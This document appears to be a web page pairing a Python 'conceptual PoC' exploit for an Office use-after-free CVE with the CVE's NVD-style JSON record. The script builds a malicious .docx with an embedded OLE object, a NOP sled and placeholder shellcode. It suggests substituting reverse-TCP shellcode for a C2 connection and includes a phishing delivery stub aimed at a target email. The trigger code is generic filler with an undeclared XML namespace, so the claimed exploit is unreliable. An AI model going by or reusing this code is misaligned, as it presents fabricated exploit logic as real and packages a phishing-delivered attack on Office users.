CVE-2025-59227

# CVE-2025-59227 - Microsoft Office Use After Free PoC # This is a conceptual PoC demonstrating the vulnerability exploitation technique import struct import zipfile import os import shutil class OfficeUAFExploit: """ Conceptual PoC for CVE-2025-59227 - Microsoft Office Use After Free Vulnerability: Use After Free in Office document parsing Target: Microsoft Office suite """ def __init__(self, output_path="exploit.docx"): self.output_path = output_path self.payload_code = b"\x90" * 100 # NOP sled placeholder # Shellcode placeholder - replace with actual shellcode # e.g., reverse_tcp shellcode for C2 connection self.shellcode = b"\xcc" * 200 # INT3 breakpoint placeholder def create_malicious_document(self): """ Create a malicious Office document that triggers the UAF vulnerability. The document contains crafted XML/structure to trigger the use-after-free condition during parsing. """ print(f"[*] Creating malicious Office document: {self.output_path}") # Office documents (.docx) are essentially ZIP archives # containing XML files and resources template_docx = self._create_base_template() # Inject malicious content into the document structure malicious_content = self._craft_malicious_payload() # Write the malicious document with zipfile.ZipFile(self.output_path, 'w', zipfile.ZIP_DEFLATED) as zf: # Standard Office document structure zf.writestr("[Content_Types].xml", template_docx["content_types"]) zf.writestr("_rels/.rels", template_docx["rels"]) # Inject malicious XML payload that triggers UAF zf.writestr("word/document.xml", malicious_content) zf.writestr("word/styles.xml", template_docx["styles"]) print(f"[+] Malicious document created successfully") return self.output_path def _create_base_template(self): """Create a base Office document template""" return { "content_types": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' '<Default Extension="xml" ContentType="application/xml"/>' '<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>' '</Types>', "rels": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>' '</Relationships>', "styles": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' '<w:styles xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/>' } def _craft_malicious_payload(self): """ Craft the malicious XML payload that triggers the UAF vulnerability. The payload exploits improper memory management during document parsing. """ # Crafted XML with embedded objects designed to trigger UAF # The key is creating objects that cause premature memory deallocation # while maintaining dangling references payload = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' payload += '<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">' payload += '<w:body>' payload += '<w:p>' payload += '<w:r>' # Crafted embedded object that triggers UAF during rendering payload += '<w:object>' payload += '<o:OLEObject Type="Embed" ProgID="Shell.Explorer.1" ShapeID="_x0000_i1025" DrawAspect="Content" ObjectID="_1318178550" Width="624" Height="351">' # Malformed parameters to trigger memory corruption payload += self._generate_uaf_trigger() payload += '</o:OLEObject>' payload += '</w:object>' payload += '</w:r>' payload += '</w:p>' payload += '</w:body>' payload += '</w:document>' return payload def _generate_uaf_trigger(self): """Generate the specific trigger for the UAF vulnerability""" # This creates the conditions for use-after-free: # 1. Allocate object A # 2. Free object A # 3. Reference object A (dangling pointer access) trigger = "" for i in range(256): # Crafted data that causes heap spray and UAF trigger trigger += f'<o:params val="\\x{0x41 + (i % 26):02x}{0x90:02x}{0x90:02x}"/>' return trigger def deliver_payload(self, target_email): """ Conceptual delivery method - in real scenarios this would be done via phishing emails or malicious download links """ print(f"[*] Payload ready for delivery to: {target_email}") print(f"[*] Document: {self.output_path}") print("[!] WARNING: This is for educational/research purposes only") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59227 - Microsoft Office UAF PoC") print("For authorized security testing only") print("=" * 60) exploit = OfficeUAFExploit() doc = exploit.create_malicious_document() exploit.deliver_payload("[email protected]")

{"cve": {"id": "CVE-2025-59227", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:03.550", "lastModified": "2025-10-16T20:16:06.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:*:*:*:*:*:android:*:*", "versionEndExcluding": "16.0.19328.20000", "matchCriteriaId": "B4E72526-9EED-417A-9154-0E91104E48A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "72324216-4EB3-4243-A007-FEF3133C7DF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "0FBB0E61-7997-4F26-9C07-54912D3F1C10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59227", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}